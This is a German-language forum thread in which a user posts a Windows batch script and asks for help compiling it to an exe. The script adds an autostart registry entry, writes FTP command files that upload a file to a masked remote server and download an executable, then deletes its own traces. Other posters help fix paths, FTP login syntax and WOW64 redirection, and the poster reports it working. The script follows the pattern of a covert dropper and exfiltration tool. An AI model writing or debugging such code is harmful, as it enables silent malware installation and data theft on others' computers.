Willkommen |
|
myGully |
|
Links |
|
Forum |
|
|
|
 |
05.01.11, 14:39
|
#1
|
Anfänger
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
|
Bat 2 Exe
Hallo Leute,
ich hoffe Ihr könnt mir helfen. Habe schon eine Reihe Programme durch aber keines konnte mich zufrieden stellen. Hier erstmal meine Bat:
Code:
@echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Mein_Prog" /d "C:\testdatei1.exe"
echo open XXX.XXX.XXX.XXX>>"C:\dll.scr"
echo USER>>"C:\dll.scr"
echo PASS>>"C:\dll.scr"
echo BINARY>>"C:\dll.scr"
echo put "EINE DATEI" "EINE DATEI">>"C:\dll.scr"
echo get "EINE ANDERE DATEI" "EINE ANDERE DATEI">>"C:\dll.scr"
echo quit>>"C:\dll.scr"
echo open XXX.XXX.XXX.XXX>>"C:\install.scr"
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
echo BINARY>>"C:\install.scr"
echo get "testdatei1.exe" "testdatei1.exe">>"C:\install.scr"
echo quit>>"C:\install.scr"
ftp -v -i -s:install.scr
del "C:\install.scr"
del meinebat.bat
Er schreibt mir zwar die dll.scr und lädt auch die testdatei1.exe aber er tut das nicht in C:\ sonsdern einfach in dem verzeichniss wo die ausgeführte .exe gerade liegt. bsp.: sie liegt in C:\Downloads dann schreibt das prog die dll.scr+testdatei1.exe in C:\Downloads und das ist nicht der Sinn.
Ich hoffe Ihr könnt mir helfen
|
|
|
05.01.11, 21:55
|
#2
|
`
Registriert seit: Nov 2010
Ort: Zuhause
Beiträge: 142
Bedankt: 37
|
ein "cd" vor dem Beschreiben der Datei könnte helfen
|
|
|
06.01.11, 18:38
|
#3
|
Anfänger
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
|
Zitat:
Zitat von tha_specializt
ein "cd" vor dem Beschreiben der Datei könnte helfen
|
Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?
Zitat:
Zitat von Lyteryl
Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.
|
Als Admin führe ich es sowieso aus  . Ich habe die Anführungszeichen weg gelsen. Jetzt bin ich schonmal einenSchritt weiter. Danke
Zitat:
Zitat von Benni1000
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"
|
Also das FTP S***** läuft bei mir so wie es oben ist.
Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?
|
|
|
06.01.11, 19:07
|
#4
|
xor eax, eax
Registriert seit: Sep 2009
Beiträge: 593
Bedankt: 466
|
Zitat:
Zitat von bl4cksh4rk
Ich habs jetzt soweit hinbekommen aber seltsamerweise ändert das S***** in der Exe den Ordner um, sprich statt "System32" benutzt er jetzt "SysWOW64". Auch beim Registry-Eintrag da nimmt er "WOW6432NODE". In der .bat ist alles wie ich es auch eingetragen hab "System32" halt. Weiß jemand woran das liegt?
|
Zitat:
Zitat von wikipedia
Das WOW64-Subsystem berücksichtigt auch andere wichtige Aspekte für die Ausführung von 32-Bit-Anwendungen. Das betrifft unter anderem die Verwaltung von Zugriffen auf die Windows-Registrierungsdatenbank (siehe HKEY_LOCAL_MACHINE\Software\WOW6432Node) sowie auf das Dateisystem, welche in den 64-Bit-Versionen von Windows geringfügige Unterschiede aufweisen.
Zwecks Rückwärts-Kompatibilität nutzt das Betriebssystem das %SystemRoot%\system32-Verzeichnis für seine 64-Bit-Komponenten. Bei der Ausführung von 32-Bit-Anwendungen werden Zugriffe auf Bibliotheken aus diesem Verzeichnis nach %SystemRoot%\SysWOW64 umgeleitet, wo sich die entsprechenden 32-Bit-Versionen befinden.
|
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]
Viele Grüße,
haze303
__________________
Desktop: Arch Linux | Laptop: Arch Linux
VM: Windows 7, Windows XP, Fedora 14, Arch, Windows Server 2008 R2 Enterprise
|
|
|
07.01.11, 07:08
|
#5
|
bla
Registriert seit: Mar 2010
Beiträge: 312
Bedankt: 302
|
Zitat:
Zitat von bl4cksh4rk
Scheinbar stehe ich mir gerade auf dem Schlauch. Wo muss ich ein CD einfügen?
|
Ganz am Anfang.
|
|
|
05.01.11, 22:30
|
#6
|
der Andere
Registriert seit: Apr 2010
Beiträge: 105
Bedankt: 79
|
Die Datei schon mal als Administrator ausgeführt.
Außerdem musst du die Pfadangaben nicht in Klammern setzten - glaub ich.
|
|
|
06.01.11, 09:48
|
#7
|
Echter Freak
Registriert seit: Aug 2009
Beiträge: 2.074
Bedankt: 319
|
echo USER>>"C:\install.scr"
echo PASS>>"C:\install.scr"
Das wird so nicht gehen!
Ich habe vor kurzem ein ftp Upload-S***** geschrieben.
Und habe Festgestellt das das einloggen so sein muss:
echo USER deinusername deinpassword>>"C:\install.scr"
|
|
|
07.01.11, 10:49
|
#8
|
Anfänger
Registriert seit: Aug 2009
Beiträge: 4
Bedankt: 0
|
@Haze: Danke!
@GermGerm: Hab's jetzt hinbekommen
|
|
|
Forumregeln
|
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren
HTML-Code ist Aus.
|
|
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 04:37 Uhr.
().
|